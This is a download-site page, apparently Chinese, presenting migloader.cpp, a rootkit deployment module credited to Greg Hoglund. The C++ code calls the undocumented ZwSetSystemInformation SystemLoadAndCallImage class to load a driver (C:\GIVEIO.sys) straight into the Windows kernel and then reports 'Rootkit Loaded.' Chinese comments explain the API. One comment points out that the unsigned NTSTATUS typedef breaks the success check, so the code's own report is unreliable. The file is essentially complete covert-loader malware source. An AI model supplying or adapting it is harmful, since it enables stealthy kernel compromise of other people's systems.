⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 migloader.cpp

📁 使用ZwSetSystemInformation加载驱动程序
💻 CPP
字号:
//////////////////////////////////////// 
// New Deployment Module for rootkit 040 
// ------------------------------------- 
// -Greg Hoglund http://www.rootkit.com 
//////////////////////////////////////// 
#include <windows.h> 
#include <stdio.h> 


typedef struct _UNICODE_STRING { 
    USHORT Length; 
    USHORT MaximumLength; 
#ifdef MIDL_PASS 
    [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * 

Buffer; 
#else // MIDL_PASS 
    PWSTR Buffer; 
#endif // MIDL_PASS 
} UNICODE_STRING, *PUNICODE_STRING; 


typedef unsigned long NTSTATUS; //我认为这里应该是typedef long NTSTATUS,  

                        //否则一个unsigned的值总是不小于0,下面这个宏就会 

                        //出问题
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 

typedef
NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)( 
  IN DWORD SystemInformationClass, 
  IN OUT PVOID SystemInformation, 
  IN ULONG SystemInformationLength 
  ); 

/*
//有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 

//Native API //Reference》
//ZwSetSystemInformation设置影响操作系统的信息,定义如下:
//  NTSYSAPI
//  NTSTATUS
//  NTAPI
//  ZwSetSystemInformation(
//    IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,
//    IN OUT PVOID SystemInformation,
//    IN ULONG SystemInformationLength);
//
//参数:
//  SystemInformationClass:将被设置的系统信息的类型,值为

SYSTEM_IMFORMATION_CALSS枚举的一个//     子集,SystemLoadAndCallImage就是

其中一个:    
//       typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{//Information Class 

38             、 //            UNICODE_STRING ModuleName;
//       }SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;
//
//    成员:
//        Module:要加载模块的NATIVE NT格式的完整路径
//
//    备注:
//         这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载

到内核地址空间和调//      用其入口点的操作。期望入口点例程是一个带两个参

数的__stdcall例程(与设备驱动程序的   //      DriverEntry例程一致)。如果入

口点例程返回一个失败代码,则卸载模块。
//
//  SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量
//  SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给

定的//     SystemInformationClass来设置它
//
*/

typedef
VOID (__stdcall *RTLINITUNICODESTRING)( 
  IN OUT PUNICODE_STRING DestinationString, 
  IN PCWSTR SourceString 
  ); 

ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
RTLINITUNICODESTRING RtlInitUnicodeString;

typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE 
{ 
UNICODE_STRING ModuleName; 
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE; 


#define SystemLoadAndCallImage 38 


void main(void) 
{ 
/////////////////////////////////////////////////////////////// 
// Why mess with Drivers? 
/////////////////////////////////////////////////////////////// 
	SYSTEM_LOAD_AND_CALL_IMAGE GregsImage; 
	WCHAR daPath[] = L"\\??\\C:\\GIVEIO.sys"; 


////////////////////////////////////////////////////////////// 
// get DLL entry points 
////////////////////////////////////////////////////////////// 
if(!(RtlInitUnicodeString = (RTLINITUNICODESTRING) 
   GetProcAddress(GetModuleHandle("ntdll.dll"),
   "RtlInitUnicodeString")))        //在ntdll.dll中获取RtlInitUnicodeString地址
  exit(1); 


if( !(ZwSetSystemInformation = (ZWSETSYSTEMINFORMATION)
   GetProcAddress( GetModuleHandle("ntdll.dll"), 
  "ZwSetSystemInformation" )) )     //在ntdll.dll中获取ZwSetSystemInformation地址
  exit(1); 


RtlInitUnicodeString( &(GregsImage.ModuleName), 
    daPath );         //建立设备



if( NT_SUCCESS( 
  ZwSetSystemInformation( SystemLoadAndCallImage, 
      &GregsImage, 
      sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))     //加载进内核空间
{ 
  printf("Rootkit Loaded.\n"); 
} 
else 
{ 
  printf("Rootkit not loaded.\n"); 
} 
} 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -